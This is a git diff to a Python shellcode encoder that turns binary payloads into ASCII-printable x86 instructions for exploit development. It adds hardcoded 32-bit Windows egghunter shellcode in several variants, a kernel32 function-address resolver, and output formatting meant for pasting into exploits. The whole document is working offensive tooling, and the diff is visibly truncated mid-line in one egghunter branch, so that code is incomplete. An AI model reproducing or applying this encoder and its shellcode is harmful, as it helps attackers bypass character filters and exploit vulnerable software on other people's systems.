diff --git a/ascii-shellcode-encoder.py b/ascii-shellcode-encoder.py index a69ab94..7f96b2e 100644 --- a/ascii-shellcode-encoder.py +++ b/ascii-shellcode-encoder.py @@ -8,9 +8,7 @@ # and it yields on the output it's ASCII encoded form. # # This payload will at the beginning align the stack by firstly moving -# ESP value to the EAX, then by adding to the EAX value 0x16CA then by -# setting ESP with such resulted EAX. It means that the final decoded shellcode -# will get stored in the stack, by 0x16CA bytes away from current stack address. +# ESP value to the EAX. # # Obviously, this encoder will not be working under DEP/W^X environments. # @@ -24,6 +22,7 @@ import struct import ctypes import sys +import ctypes # ================================================ # OPTIONS @@ -35,6 +34,9 @@ # Be more verbose. DEBUG = False +# Egghunter tag. +TAG = 'w00t' + # Set it to True in order to always prepend ZERO-EAX primitive before # sequence of SUB operations. The `gen` routine will then operate on # previous value being always 0x00000000 instead of previously held in @@ -56,14 +58,6 @@ # 25 3532312A AND EAX,2A313235 'zero-eax': '%JMNU%521*', - # Aligns a stack address that the EAX will take, by - # adding value of 0x1688 to the EAX register - # 2D 41373737 SUB EAX, 37373741 - # 2D 69252525 SUB EAX, 25252569 - # 2D 72324949 SUB EAX, 49493272 - # 2D 5C5A5A5A SUB EAX, 5A5A5A5C - 'eax-stack-align' : '-A777-i%%%-r2II-\\ZZZ', - # Sets ESP (stack pointer) to EAX # 50 PUSH EAX # 5c POP ESP @@ -86,6 +80,13 @@ class InvalidCharResulted(Exception): pass +def resolve_function(dll, func): + kernel32 = ctypes.windll.kernel32 + handle = kernel32.GetModuleHandleA(dll) + address = kernel32.GetProcAddress(handle, func) + kernel32.CloseHandle(handle) + return address + def dbg(x, raw = False): if DEBUG: if raw: @@ -295,10 +296,11 @@ def process(inp, prepend_init = True): out = '' if prepend_init: - out += primitives['zero-eax'] out += primitives['set-eax-to-esp'] - out += primitives['eax-stack-align'] - out += primitives['set-esp-to-eax'] + # Align ESP: + # ESP >= (EIP+adding_value+resulted_length+buffer_size) + # * adding_value = 0x15 bytes + set-esp-to-eax 0x2 bytes = 0x17 bytes + #out += primitives['set-esp-to-eax'] if not PREPEND_ZERO_OUT: out += primitives['zero-eax'] @@ -318,31 +320,42 @@ def process(inp, prepend_init = True): out += primitives['zero-eax'] else: prev = dword - out += instr + primitives['store-on-stack'] + if(prepend_init): + out += instr + primitives['store-on-stack'] + else: + out += instr - return out def usage(): print ''' - :: printable-shellcode.py - Utility generating a ASCII-printable shellcode - out of provided binary file (ASCII encoder). - Mariusz B. / mgeeky, '17 - - Algorithm based on terrific `dissembler` tool by Phiral Research Labs, - by Jon Erickson - +printable-shellcode.py - Utility generating a ASCII-printable shellcode +out of provided binary file (ASCII encoder). +Mariusz B. / mgeeky, '17 +Algorithm based on terrific `dissembler` tool by Phiral Research Labs, +by Jon Erickson +Custom by UND3R Usage: - printable-shellcode.py - + printable-shellcode.py Where: - input-file - input file containing shellcode, '-' for stdin or 'EGG' for - standard T00WT00W 32-bit windows egghunter - 0xValue - single DWORD value, prepended with 0x to encode. + input-file - input file containing shellcode or + 'EGG1' for SEH egghunter or + 'EGG2' for IsBadReadPtr egghunter or + 'EGG3' for NtDisplayString egghunter or + 'EGG4' for NtAccessCheckAndAuditAlarm egghunter. + + note: the default egghunter tag is 'w00t'. + 0xDWORD - single DWORD value, prepended with 0x to encode. output-file - file to store result of ASCII encoding, or '-' for stdout ''' -def display_output(out): +def display_output(out, var_type): + if var_type == 1: + var_text = 'dword' + elif var_type == 2: + var_text = 'egghunter' + else: + var_text = 'shellcode' print '[+] SHELLCODE ENCODED PROPERLY. Resulted length: %d bytes' % (len(out)) print print '-' * 80 @@ -355,11 +368,11 @@ def display_output(out): print '[+] ESCAPED-HEX FORM:' print ''.join(['\\x%02x' % ord(c) for c in out]) print - print '[+] PYTHON COMPACT SEXY FORM:' - buf = '\tshellcode += r"' + print '[+] PYTHON COMPACT FORM:' + buf = var_text + ' = r"' for i in range(len(out)): if i % 20 == 0 and i > 0: - buf += '"\n\tshellcode += r"' + buf += '"\n' + var_text + ' += r"' buf += out[i] buf += '"' print buf @@ -390,16 +403,27 @@ def main(): input_bytes = [] prepend_init = True - if sys.argv[1] == '-': - input_bytes = sys.stdin.read() - elif sys.argv[1].startswith('0x'): + if sys.argv[1].startswith('0x'): input_bytes = ''.join([chr(c) for c in decompose(int(sys.argv[1], 16))]) prepend_init = False - elif sys.argv[1] == 'EGG': - input_bytes = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" + var_type = 1 + elif sys.argv[1] == 'EGG1': + input_bytes = '\xeb\x21\x59\xb8' + TAG + '\x51\x6a\xff\x33\xdb\x64\x89\x23\x6a\x02\x59\x8b\xfb\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3' + var_type = 2 + elif sys.argv[1] == 'EGG2': + address = resolve_function('kernel32.dll', 'IsBadReadPtr') + input_bytes = '\x33\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x08\x53\xb8' + struct.pack(" 2 and sys.argv[2] != '-': with open(sys.argv[2], 'wb') as f: f.write(out)